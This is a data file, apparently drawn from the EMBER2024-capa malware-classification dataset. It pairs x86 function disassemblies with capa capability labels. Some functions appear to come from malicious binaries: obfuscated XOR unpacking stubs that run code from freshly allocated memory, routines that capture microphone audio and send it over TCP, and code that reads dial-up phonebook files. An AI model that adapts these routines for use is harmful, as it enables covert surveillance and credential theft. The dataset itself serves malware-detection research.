joyce8/EMBER2024-capa huggingface dataset:
Function at 0x43f2e4
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
push ebx
push esi
xor esi, esi
cmp word [eax], si
push edi
mov dword [ebp - 0xc], esi
je 0x43f3ec
push esi
push esi
push 3
push esi
push esi
push bind
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x43f31b
xor eax, eax
jmp 0x43f418
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push eax
push 2
mov dword [ebp - 0x14], eax
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov edi, eax
push edi
call dword [sym.imp.KERNEL32.dll_GlobalLock]
push esi
lea ecx, [ebp - 0x18]
push ecx
push dword [ebp - 0x14]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
push edi
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x10]
push eax
push 1
push edi
call dword [sym.imp.ole32.dll_CreateStreamOnHGlobal]
lea eax, [ebp - 0xc]
push eax
push 0x467168
push esi
push esi
push dword [ebp - 0x10]
call dword [sym.imp.OLEAUT32.dll_OleCreatePictureIndirect]
mov eax, dword [ebp - 0x10]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
push edi
call dword [sym.imp.KERNEL32.dll_GlobalFree]
mov eax, dword [ebp - 0xc]
cmp eax, esi
je 0x43f314
mov ecx, dword [eax]
lea edx, [ebp - 8]
push edx
push eax
call dword [ecx + 0xc]
lea eax, [ebp - 0x30]
push eax
push 0x18
push dword [ebp - 8]
call dword [sym.imp.GDI32.dll_GetObjectW]
mov ecx, dword [ebp + 0xc]
mov edx, dword [ecx]
cmp edx, esi
mov eax, dword [ebp + 0x10]
jne 0x43f3c3
cmp dword [eax], esi
jne 0x43f3c3
mov edx, dword [ebp - 0x2c]
mov dword [ecx], edx
mov edx, dword [ebp - 0x28]
mov dword [eax], edx
jmp 0x43f3cb
mov dword [ebp - 0x2c], edx
mov edx, dword [eax]
mov dword [ebp - 0x28], edx
push 0x2000
push dword [eax]
push dword [ecx]
push esi
push dword [ebp - 8]
call dword [sym.imp.USER32.dll_CopyImage]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 0xc]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
jmp 0x43f3ef
mov dword [ebp - 8], esi
mov edi, dword [ebp + 8]
mov eax, dword [edi + 0x44]
cmp eax, esi
je 0x43f400
push eax
call dword [sym.imp.GDI32.dll_DeleteObject]
mov eax, dword [ebp - 8]
push eax
push esi
mov dword [edi + 0x44], eax
mov edi, dword [edi]
push 0x172
push edi
call dword [sym.imp.USER32.dll_SendMessageW]
mov eax, edi
pop edi
pop esi
pop ebx
leave
ret 0xc
Function at 0x450755
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov ecx, dword [ebp + 8]
push ebx
mov ebx, dword [ebp + 0xc]
push esi
push edi
xor edi, edi
cmp dword [ebp + 0x10], edi
mov dword [ebp - 8], ecx
mov dword [ebp - 4], ebx
je 0x450792
cmp dword [ebp + 0x14], edi
je 0x450792
cmp ecx, edi
jne 0x450799
call fcn.00453a6c
push edi
push edi
push edi
push edi
mov dword [eax], 0x16
push edi
call fcn.00453a0d
add esp, 0x14
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
mov esi, dword [ebp + 0x18]
cmp esi, edi
je 0x4507ad
or eax, 0xffffffff
xor edx, edx
div dword [ebp + 0x10]
cmp dword [ebp + 0x14], eax
jbe 0x4507ce
cmp ebx, 0xffffffff
je 0x4507bd
push ebx
push edi
push ecx
call fcn.0044fbe0
add esp, 0xc
cmp esi, edi
je 0x45077a
or eax, 0xffffffff
xor edx, edx
div dword [ebp + 0x10]
cmp dword [ebp + 0x14], eax
ja 0x45077a
mov edi, dword [ebp + 0x10]
imul edi, dword [ebp + 0x14]
test word [esi + 0xc], 0x10c
mov dword [ebp - 0x10], edi
mov ebx, edi
je 0x4507ea
mov eax, dword [esi + 0x18]
mov dword [ebp - 0xc], eax
jmp 0x4507f1
mov dword [ebp - 0xc], 0x1000
test edi, edi
je 0x4508e2
test word [esi + 0xc], 0x10c
je 0x450845
mov eax, dword [esi + 4]
test eax, eax
je 0x450845
jl 0x450943
cmp ebx, eax
mov edi, ebx
jb 0x450816
mov edi, eax
cmp edi, dword [ebp - 4]
ja 0x4508ea
push edi
push dword [esi]
push dword [ebp - 4]
push dword [ebp - 8]
call fcn.00459a48
sub dword [esi + 4], edi
add dword [esi], edi
add dword [ebp - 8], edi
sub ebx, edi
add esp, 0x10
sub dword [ebp - 4], edi
mov edi, dword [ebp - 0x10]
jmp 0x4508da
cmp ebx, dword [ebp - 0xc]
jb 0x4508b2
cmp dword [ebp - 0xc], 0
je 0x45086f
mov ecx, bind
xor edx, edx
cmp ebx, ecx
jbe 0x450864
mov eax, ecx
div dword [ebp - 0xc]
mov eax, ecx
jmp 0x45086b
mov eax, ebx
div dword [ebp - 0xc]
mov eax, ebx
sub eax, edx
jmp 0x45087a
mov eax, bind
cmp ebx, eax
ja 0x45087a
mov eax, ebx
cmp eax, dword [ebp - 4]
ja 0x450916
push eax
push dword [ebp - 8]
push esi
call fcn.00451253
pop ecx
push eax
call fcn.0045994b
add esp, 0xc
test eax, eax
je 0x450955
cmp eax, 0xffffffff
je 0x450943
add dword [ebp - 8], eax
sub ebx, eax
sub dword [ebp - 4], eax
jmp 0x4508da
push esi
call fcn.0045926a
cmp eax, 0xffffffff
pop ecx
je 0x450947
cmp dword [ebp - 4], 0
je 0x450916
mov ecx, dword [ebp - 8]
inc dword [ebp - 8]
mov byte [ecx], al
mov eax, dword [esi + 0x18]
dec ebx
dec dword [ebp - 4]
mov dword [ebp - 0xc], eax
test ebx, ebx
jne 0x4507f9
mov eax, dword [ebp + 0x14]
jmp 0x450794
xor esi, esi
cmp dword [ebp + 0xc], 0xffffffff
je 0x450901
push dword [ebp + 0xc]
push esi
push dword [ebp + 8]
call fcn.0044fbe0
add esp, 0xc
call fcn.00453a6c
push esi
push esi
push esi
push esi
mov dword [eax], 0x22
push esi
jmp 0x45078a
cmp dword [ebp + 0xc], 0xffffffff
je 0x45092c
push dword [ebp + 0xc]
push 0
push dword [ebp + 8]
call fcn.0044fbe0
add esp, 0xc
call fcn.00453a6c
mov dword [eax], 0x22
xor eax, eax
push eax
push eax
push eax
push eax
push eax
jmp 0x45078a
or dword [esi + 0xc], 0x20
mov eax, edi
sub eax, ebx
xor edx, edx
div dword [ebp + 0x10]
jmp 0x450794
or dword [esi + 0xc], 0x10
jmp 0x450947
Function at 0x453bd3
Capabilities:
Write file on windows

Disassembly:
push ecx
push ebx
mov ebx, dword [esp + 0xc]
push esi
push edi
xor esi, esi
xor edi, edi
cmp ebx, dword [edi*8 + 0x474c60]
je 0x453bee
inc edi
cmp edi, 0x17
jb 0x453bdf
cmp edi, 0x17
jae 0x453d6e
push ebp
push 3
call fcn.0045f215
cmp eax, 1
pop ecx
je 0x453d3a
push 3
call fcn.0045f215
test eax, eax
pop ecx
jne 0x453c22
cmp dword [0x474498], 1
je 0x453d3a
cmp ebx, 0xfc
je 0x453d6d
push str.Runtime_Error__n_nProgram:
mov ebx, 0x314
push ebx
mov ebp, 0x476b30
push ebp
call fcn.0045ef39
add esp, 0xc
test eax, eax
je 0x453c58
push esi
push esi
push esi
push esi
push esi
call fcn.00453911
add esp, 0x14
push 0x104
mov esi, 0x476b49
push esi
push 0
mov byte [0x476c4d], 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x453c9c
push str._program_name_unknown_
push 0x2fb
push esi
call fcn.0045ef39
add esp, 0xc
test eax, eax
je 0x453c9c
xor eax, eax
push eax
push eax
push eax
push eax
push eax
call fcn.00453911
add esp, 0x14
push esi
call fcn.0044f530
inc eax
cmp eax, 0x3c
pop ecx
jbe 0x453ce1
push esi
call fcn.0044f530
sub esi, 0x3b
add eax, esi
push 3
mov ecx, 0x476e44
push 0x4678ec
sub ecx, eax
push ecx
push eax
call fcn.0045ee86
add esp, 0x14
test eax, eax
je 0x453ce1
xor esi, esi
push esi
push esi
push esi
push esi
push esi
call fcn.00453911
add esp, 0x14
jmp 0x453ce3
xor esi, esi
push 0x4678e8
push ebx
push ebp
call fcn.0045edc5
add esp, 0xc
test eax, eax
je 0x453d03
push esi
push esi
push esi
push esi
push esi
call fcn.00453911
add esp, 0x14
push dword [edi*8 + 0x474c64]
push ebx
push ebp
call fcn.0045edc5
add esp, 0xc
test eax, eax
je 0x453d25
push esi
push esi
push esi
push esi
push esi
call fcn.00453911
add esp, 0x14
push 0x12010
push str.Microsoft_Visual_C_Runtime_Library
push ebp
call fcn.0045f058
add esp, 0xc
jmp 0x453d6d
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
mov ebp, eax
cmp ebp, esi
je 0x453d6d
cmp ebp, 0xffffffff
je 0x453d6d
push 0
lea eax, [esp + 0x14]
push eax
lea esi, [edi*8 + 0x474c64]
push dword [esi]
call fcn.0044f530
pop ecx
push eax
push dword [esi]
push ebp
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret
Function at 0x45eb37
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x474efc]
jne 0x45eb41
repz ret
jmp fcn.00462309

Function at 0x45f058
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
push edi
call fcn.00453388
xor ebx, ebx
cmp dword [0x4772c8], ebx
mov dword [ebp - 8], eax
mov dword [ebp - 4], ebx
mov dword [ebp - 0xc], ebx
mov dword [ebp - 0x10], ebx
jne 0x45f12e
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
cmp edi, ebx
je 0x45f20e
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x4696dc
push edi
call esi
cmp eax, ebx
je 0x45f20e
push eax
call fcn.0045331a
mov dword [esp], 0x4696cc
push edi
mov dword [0x4772c8], eax
call esi
push eax
call fcn.0045331a
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x4772cc], eax
call esi
push eax
call fcn.0045331a
mov dword [0x4772d0], eax
lea eax, [ebp - 0xc]
push eax
call fcn.0044d50e
test eax, eax
pop ecx
pop ecx
je 0x45f0fc
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.00453911
add esp, 0x14
cmp dword [ebp - 0xc], 2
jne 0x45f12e
push str.GetUserObjectInformationA
push edi
call esi
push eax
call fcn.0045331a
cmp eax, ebx
pop ecx
mov dword [0x4772d8], eax
je 0x45f12e
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.0045331a
pop ecx
mov dword [0x4772d4], eax
mov eax, dword [0x4772d4]
mov ecx, dword [ebp - 8]
cmp eax, ecx
je 0x45f1b3
cmp dword [0x4772d8], ecx
je 0x45f1b3
push eax
call fcn.00453391
push dword [0x4772d8]
mov esi, eax
call fcn.00453391
cmp esi, ebx
pop ecx
pop ecx
mov edi, eax
je 0x45f1b3
cmp edi, ebx
je 0x45f1b3
call esi
cmp eax, ebx
je 0x45f180
lea ecx, [ebp - 0x14]
push ecx
push 0xc
lea ecx, [ebp - 0x20]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x45f180
test byte [ebp - 0x18], 1
jne 0x45f1b3
lea eax, [ebp - 0x10]
push eax
call fcn.0044d545
test eax, eax
pop ecx
je 0x45f19b
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.00453911
add esp, 0x14
cmp dword [ebp - 0x10], 4
jb 0x45f1aa
or dword [ebp + 0x10], 0x200000
jmp 0x45f1ee
or dword [ebp + 0x10], 0x40000
jmp 0x45f1ee
mov eax, dword [0x4772cc]
cmp eax, dword [ebp - 8]
je 0x45f1ee
push eax
call fcn.00453391
cmp eax, ebx
pop ecx
je 0x45f1ee
call eax
cmp eax, ebx
mov dword [ebp - 4], eax
je 0x45f1ee
mov eax, dword [0x4772d0]
cmp eax, dword [ebp - 8]
je 0x45f1ee
push eax
call fcn.00453391
cmp eax, ebx
pop ecx
je 0x45f1ee
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x4772c8]
call fcn.00453391
cmp eax, ebx
pop ecx
je 0x45f20e
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x45f210
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x401ea2
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x410284]
jne 0x401eac
repz ret
jmp fcn.00403e53

Function at 0x40a60b
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
pushal
call 0x40a61a
pop dword [ebp - 0x28]
mov eax, 0xa4e470df
sub eax, 0xa4a3cac5
sub dword [ebp - 0x28], eax
mov dword [ebp - 0x38], 0x9c3dcc56
add dword [ebp - 0x38], 0xb21478f5
mov dword [ebp - 0x34], 0xd4da89eb
sub dword [ebp - 0x34], 0xa2a73da6
mov dword [ebp - 0x30], 0xb442b48e
add dword [ebp - 0x30], 0x98098fa0
mov dword [ebp - 0x2c], 0x1d74fa4b
add dword [ebp - 0x2c], 0xe28b05b5
lea eax, [ebp - 0x38]
push eax
mov eax, 0xefab2ecd
sub eax, 0xef6a5e79
add eax, dword [ebp - 0x28]
call dword [eax]
mov dword [ebp - 0x38], 0xece4c546
sub dword [ebp - 0x38], 0x78725bf0
mov dword [ebp - 0x34], 0x83e604be
sub dword [ebp - 0x34], 0x4279a349
mov dword [ebp - 0x30], 0xc48bf13a
sub dword [ebp - 0x30], 0x611c84ce
mov dword [ebp - 0x2c], 0xa2974f03
add dword [ebp - 0x2c], 0x5d68b0fd
lea ebx, [ebp - 0x38]
push ebx
push eax
mov eax, 0x1789c781
add eax, 0xe8b708cb
add eax, dword [ebp - 0x28]
call dword [eax]
push 0x40
push 0x1000
push 0x38d2c
push 0
call eax
mov ecx, 0x7ee4616f
add ecx, 0x811be261
xor edx, edx
add edx, eax
mov ebx, 0x7c58595
sub ebx, 0x783d595
add ebx, dword [ebp - 0x28]
mov edi, 0x7ea45a70
xor dword [ebp - 0x24], ebx
mov esi, dword [ebx]
sub esi, edi
add dword [ebp - 0xc], ecx
mov dword [edx], esi
mov dword [ebp - 4], 0xd1afa9c0
add edx, 0x85c9af95
sub edx, 0x85c9af91
add ebx, 0x4a752dad
sub ebx, 0x4a752da9
loop 0x40a738
add eax, 0x389bd565
sub eax, 0x389ad352
mov ebx, eax
add eax, 5
mov ecx, 0x400000
add ecx, dword [ebp - 0x28]
call ebx
leave
ret
Function at 0x2581725d
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
pushal
call 0x2581726c
pop dword [ebp - 0x3c]
mov eax, 0x78fc398a
add eax, 0xac8538e2
sub dword [ebp - 0x3c], eax
mov dword [ebp - 0x4c], 0x462db151
add dword [ebp - 0x4c], 0x82493fa
mov dword [ebp - 0x48], 0xa4e0d82a
sub dword [ebp - 0x48], 0x72ad8be5
mov dword [ebp - 0x44], 0xdaffdc72
sub dword [ebp - 0x44], 0x8eb39844
mov dword [ebp - 0x40], 0x39dec4ae
sub dword [ebp - 0x40], 0x39dec4ae
lea eax, [ebp - 0x4c]
push eax
mov eax, 0x8157f8e4
sub eax, 0x5bd628a0
add eax, dword [ebp - 0x3c]
call dword [eax]
mov dword [ebp - 0x4c], 0x1ffddead
add dword [ebp - 0x4c], 0x54748aa9
mov dword [ebp - 0x48], 0xce100977
sub dword [ebp - 0x48], 0x8ca3a802
mov dword [ebp - 0x44], 0xcbda274d
add dword [ebp - 0x44], 0x9795451f
mov dword [ebp - 0x40], 0x221ed1c3
add dword [ebp - 0x40], 0xdde12e3d
lea ebx, [ebp - 0x4c]
push ebx
push eax
mov eax, 0xc22e0a93
add eax, 0x6353c5ed
add eax, dword [ebp - 0x3c]
call dword [eax]
push 0x40
push 0x1000
push 0x39a95
push 0
call eax
mov ecx, 0x48b10e2b
add ecx, 0xb74f2d15
mov esi, eax
mov edx, 0xe4f8479c
add edx, 0x408a4e64
add edx, dword [ebp - 0x3c]
mov edi, 0x8f7e2a0a
add edi, 0x859b2c34
add dword [ebp - 0x14], ebx
mov ebx, dword [edx]
add ebx, edi
xor dword [ebp - 0x34], esi
mov dword [esi], ebx
add dword [ebp - 0x34], 0x7d54b6ee
add esi, 0x75e1bfe7
add esi, 0x8a1e401d
add edx, 0x873f6963
add edx, 0x78c096a1
loop 0x2581738e
add eax, 0xdfd3
mov ebx, eax
add eax, 0xeecbb408
sub eax, 0xeecbb403
mov ecx, 0x25800000
add ecx, dword [ebp - 0x3c]
call ebx
leave
ret
Function at 0x401673
Capabilities:
Encode data using xor

Disassembly:
push esi
push edi
mov edi, eax
mov cl, byte [edi]
test cl, cl
mov eax, 0x404058
mov esi, eax
je 0x401699
add dl, 0x64
sub edi, eax
push ebx
mov bl, dl
xor bl, cl
mov byte [esi], bl
inc esi
mov cl, byte [edi + esi]
test cl, cl
jne 0x40168a
pop ebx
pop edi
mov byte [esi], 0
pop esi
ret
Function at 0x100010f0
Capabilities:
Terminate thread

Disassembly:
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov al, byte [esi + 0x44]
mov dword [esi], 0x100194f8
test al, al
je 0x1000114c
mov eax, dword [esi + 0x18]
push eax
call dword [sym.imp.WINMM.dll_waveInStop]
mov ecx, dword [esi + 0x18]
push ecx
call dword [sym.imp.WINMM.dll_waveInReset]
mov ebp, dword [sym.imp.WINMM.dll_waveInUnprepareHeader]
lea edi, [esi + 0x30]
mov ebx, 2
mov edx, dword [edi]
mov eax, dword [esi + 0x18]
push 0x20
push edx
push eax
call ebp
add edi, 4
dec ebx
jne 0x10001125
mov ecx, dword [esi + 0x18]
push ecx
call dword [sym.imp.WINMM.dll_waveInClose]
mov edx, dword [esi + 0x2c]
push 0xffffffffffffffff
push edx
call dword [sym.imp.KERNEL32.dll_TerminateThread]
mov al, byte [esi + 0x45]
test al, al
je 0x10001186
mov eax, dword [esi + 0x40]
push eax
call dword [sym.imp.WINMM.dll_waveOutReset]
mov ebp, dword [sym.imp.WINMM.dll_waveOutUnprepareHeader]
lea edi, [esi + 0x30]
mov ebx, 2
mov ecx, dword [edi]
mov edx, dword [esi + 0x40]
push 0x20
push ecx
push edx
call ebp
add edi, 4
dec ebx
jne 0x1000116b
mov eax, dword [esi + 0x40]
push eax
call dword [sym.imp.WINMM.dll_waveOutClose]
lea edi, [esi + 0x30]
mov ebx, 2
mov ecx, dword [edi - 0x28]
push ecx
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
mov edx, dword [edi]
push edx
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
mov eax, dword [edi - 0x20]
push eax
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
mov ecx, dword [edi + 8]
push ecx
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 0x10
add edi, 4
dec ebx
jne 0x1000118e
mov edx, dword [esi + 0x24]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push edx
call edi
mov eax, dword [esi + 0x28]
push eax
call edi
mov ecx, dword [esi + 0x2c]
push ecx
call edi
pop edi
pop esi
pop ebp
pop ebx
ret
Function at 0x100012c0
Capabilities:
Capture microphone audio
Resume thread

Disassembly:
push ecx
push ebx
push esi
push edi
push str.CreateThread
mov edi, ecx
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
call dword [sym.imp.WINMM.dll_waveInGetNumDevs]
test eax, eax
jne 0x100012f0
pop edi
pop esi
xor al, al
pop ebx
pop ecx
ret
lea eax, [esp + 0xc]
mov dword [esp + 0xc], 0
push eax
push 4
push edi
push 0x10001450
push 0
push 0
call esi
mov ecx, dword [esp + 0xc]
push 0x20000
push 0
lea edx, [edi + 0x46]
push ecx
lea ebx, [edi + 0x18]
push edx
push 0xffff
push ebx
mov dword [edi + 0x2c], eax
call dword [sym.imp.WINMM.dll_waveInOpen]
test eax, eax
je 0x10001338
pop edi
pop esi
xor al, al
pop ebx
pop ecx
ret
push ebp
lea esi, [edi + 0x30]
mov ebp, 2
mov eax, dword [esi]
mov ecx, dword [esi - 0x28]
push 0x20
mov dword [eax], ecx
mov edx, dword [esi]
mov eax, dword [edi + 4]
mov dword [edx + 4], eax
mov ecx, dword [esi]
xor eax, eax
mov dword [ecx + 0x10], eax
mov edx, dword [esi]
mov dword [edx + 0x14], eax
mov eax, dword [esi]
mov ecx, dword [ebx]
push eax
push ecx
call dword [sym.imp.WINMM.dll_waveInPrepareHeader]
add esi, 4
dec ebp
jne 0x10001341
mov edx, dword [edi + 0x1c]
mov ecx, dword [ebx]
push 0x20
mov eax, dword [edi + edx*4 + 0x30]
push eax
push ecx
call dword [sym.imp.WINMM.dll_waveInAddBuffer]
mov edx, dword [edi + 0x2c]
push edx
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov eax, dword [ebx]
push eax
call dword [sym.imp.WINMM.dll_waveInStart]
mov al, 1
pop ebp
mov byte [edi + 0x44], al
pop edi
pop esi
pop ebx
pop ecx
ret

Function at 0x10001bb0
Capabilities:
Initialize winsock library

Disassembly:
push 0xffffffffffffffff
push 0x10017eba
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x198
push esi
mov esi, ecx
mov dword [esp + 4], esi
lea ecx, [esi + 4]
call fcn.100017c0
lea ecx, [esi + 0x2c]
mov dword [esp + 0x1a4], 0
call fcn.100017c0
lea ecx, [esi + 0x54]
mov byte [esp + 0x1a4], 1
call fcn.100017c0
lea ecx, [esi + 0x7c]
mov byte [esp + 0x1a4], 2
call fcn.100017c0
lea eax, [esp + 0xc]
mov dword [esi], 0x10019510
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
push 0
push 0
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov dword [esi + 0xac], eax
mov al, 0x4e
mov byte [esp + 4], 0x46
mov byte [esp + 5], 0x4c
mov byte [esp + 6], 0x59
mov byte [esp + 7], al
mov edx, dword [esp + 4]
lea ecx, [esi + 0xb0]
mov byte [esi + 0xb5], 0
mov dword [esi + 0xa8], 0xffffffff
mov dword [ecx], edx
mov byte [ecx + 4], al
mov ecx, dword [esp + 0x19c]
mov eax, esi
pop esi
mov dword fs:[0], ecx
add esp, 0x1a4
ret
Function at 0x10001d70
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Resolve dns
Set socket configuration

Disassembly:
sub esp, 0x20
push ebx
push ebp
push esi
push edi
mov esi, ecx
call fcn.10002590
mov eax, dword [esi + 0xac]
push eax
call dword [sym.imp.KERNEL32.dll_ResetEvent]
mov byte [esi + 0xb5], 0
mov eax, dword [0x100217c8]
test eax, eax
je 0x10001db1
cmp eax, 4
je 0x10001db1
cmp eax, 5
je 0x10001db1
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x20
ret 8
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
cmp eax, 0xffffffff
mov dword [esi + 0xa8], eax
jne 0x10001dd4
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x20
ret 8
mov eax, dword [0x100217c8]
mov ebx, dword [esp + 0x34]
test eax, eax
je 0x10001de8
push 0x100217cc
jmp 0x10001de9
push ebx
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov edi, eax
test edi, edi
jne 0x10001e01
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x20
ret 8
mov eax, dword [0x100217c8]
mov ebp, dword [esp + 0x38]
test eax, eax
mov word [esp + 0x20], 2
je 0x10001e1f
mov cx, word [0x10020080]
push ecx
jmp 0x10001e20
push ebp
call dword [sym.imp.WS2_32.dll_htons]
mov word [esp + 0x22], ax
mov edx, dword [edi + 0xc]
push 0x10
mov eax, dword [edx]
lea edx, [esp + 0x24]
push edx
mov ecx, dword [eax]
mov eax, dword [esi + 0xa8]
push eax
mov dword [esp + 0x30], ecx
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x10001e5b
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x20
ret 8
cmp dword [0x100217c8], 5
jne 0x10001e7b
push ebp
push ebx
mov ecx, esi
call fcn.10001f10
test al, al
jne 0x10001e7b
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x20
ret 8
mov edx, dword [esi + 0xa8]
lea ecx, [esp + 0x13]
push 1
push ecx
push 8
push 0xffff
push edx
mov byte [esp + 0x27], 1
call dword [sym.imp.WS2_32.dll_setsockopt]
test eax, eax
jne 0x10001edb
push eax
mov edx, dword [esi + 0xa8]
push eax
lea eax, [esp + 0x1b]
push eax
push 0
push 0
lea ecx, [esp + 0x28]
push 0xc
push ecx
push 0x98000004
push edx
mov dword [esp + 0x38], 1
mov dword [esp + 0x3c], 0x2bf20
mov dword [esp + 0x40], 0x1388
call dword [sym.imp.WS2_32.dll_WSAIoctl]
push 1
push 0
push 0
push esi
push 0x10002220
push 0
push 0
mov byte [esi + 0xb5], 1
call fcn.10010300
add esp, 0x1c
mov dword [esi + 0xa4], eax
mov al, 1
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x20
ret 8
Function at 0x10002790
Capabilities:
Send data
Send data on socket

Disassembly:
push ebx
mov ebx, dword [esp + 0xc]
push ebp
push esi
mov esi, dword [esp + 0x18]
push edi
mov edi, dword [esp + 0x14]
cmp ebx, esi
mov ebp, ecx
mov dword [esp + 0x14], 0
jb 0x100027fa
mov dword [esp + 0x1c], 0
mov eax, dword [ebp + 0xa8]
push 0
push esi
push edi
push eax
call dword [sym.imp.WS2_32.dll_send]
test eax, eax
jg 0x100027d9
mov ecx, dword [esp + 0x1c]
inc ecx
cmp ecx, 0xf
mov dword [esp + 0x1c], ecx
jl 0x100027b6
cmp dword [esp + 0x1c], 0xf
je 0x10002830
mov ecx, dword [esp + 0x14]
push 0xa
add ecx, eax
add edi, esi
mov dword [esp + 0x18], ecx
call dword [sym.imp.KERNEL32.dll_Sleep]
sub ebx, esi
cmp ebx, esi
jae 0x100027ae
test ebx, ebx
jle 0x10002824
xor esi, esi
mov ecx, dword [ebp + 0xa8]
push 0
push ebx
push edi
push ecx
call dword [sym.imp.WS2_32.dll_send]
test eax, eax
jg 0x1000281b
inc esi
cmp esi, 0xf
jl 0x10002800
cmp esi, 0xf
je 0x10002830
add dword [esp + 0x14], eax
mov eax, dword [esp + 0x14]
mov ecx, dword [esp + 0x18]
cmp eax, ecx
je 0x10002833
or eax, 0xffffffff
pop edi
pop esi
pop ebp
pop ebx
ret 0xc

Function at 0x10002980
Capabilities:
Get common file path
Read .ini file

Disassembly:
sub esp, 0x220
push ebx
push ebp
push esi
push edi
lea eax, [esp + 0x20]
push 0x105
mov esi, ecx
push eax
mov dword [esp + 0x18], 0
call dword [0x10021ad0]
push str.Documents_and_Settings_
lea ecx, [esp + 0x24]
push 0x5c
push ecx
call dword [sym.imp.MSVCRT.dll_strchr]
add esp, 8
inc eax
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [esi + 0x14]
lea eax, [esp + 0x20]
push edx
push eax
call dword [0x10021acc]
lea ecx, [esp + 0x20]
push str.Application_DataMicrosoftNetworkConnectionspbk_rasphone.pbk
push ecx
call dword [0x10021acc]
push 0
lea edx, [esp + 0x12c]
push 0x23
push edx
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
lea eax, [esp + 0x128]
push str.MicrosoftNetworkConnectionspbk_rasphone.pbk
push eax
lea ecx, [esp + 0x130]
push 0x100200f4
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
lea edx, [esp + 0x30]
lea eax, [esp + 0x138]
push 0x1000
mov dword [esp + 0x2c], edx
mov dword [esp + 0x30], eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 0x14
mov ebx, eax
lea ebp, [esp + 0x18]
mov dword [esp + 0x14], 2
mov ecx, 0x400
xor eax, eax
mov edi, ebx
rep stosd dword es:[edi], eax
mov ecx, dword [ebp]
push ecx
push 0x1000
push ebx
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileSectionNamesA]
mov al, byte [ebx]
mov esi, ebx
test al, al
je 0x10002a7e
mov edx, dword [esp + 0x10]
push esi
inc edx
mov dword [esp + 0x14], edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea esi, [esi + eax + 1]
cmp byte [esi], 0
jne 0x10002a65
mov eax, dword [esp + 0x14]
add ebp, 4
dec eax
mov dword [esp + 0x14], eax
jne 0x10002a42
push ebx
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
mov eax, dword [esp + 0x14]
add esp, 4
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x220
ret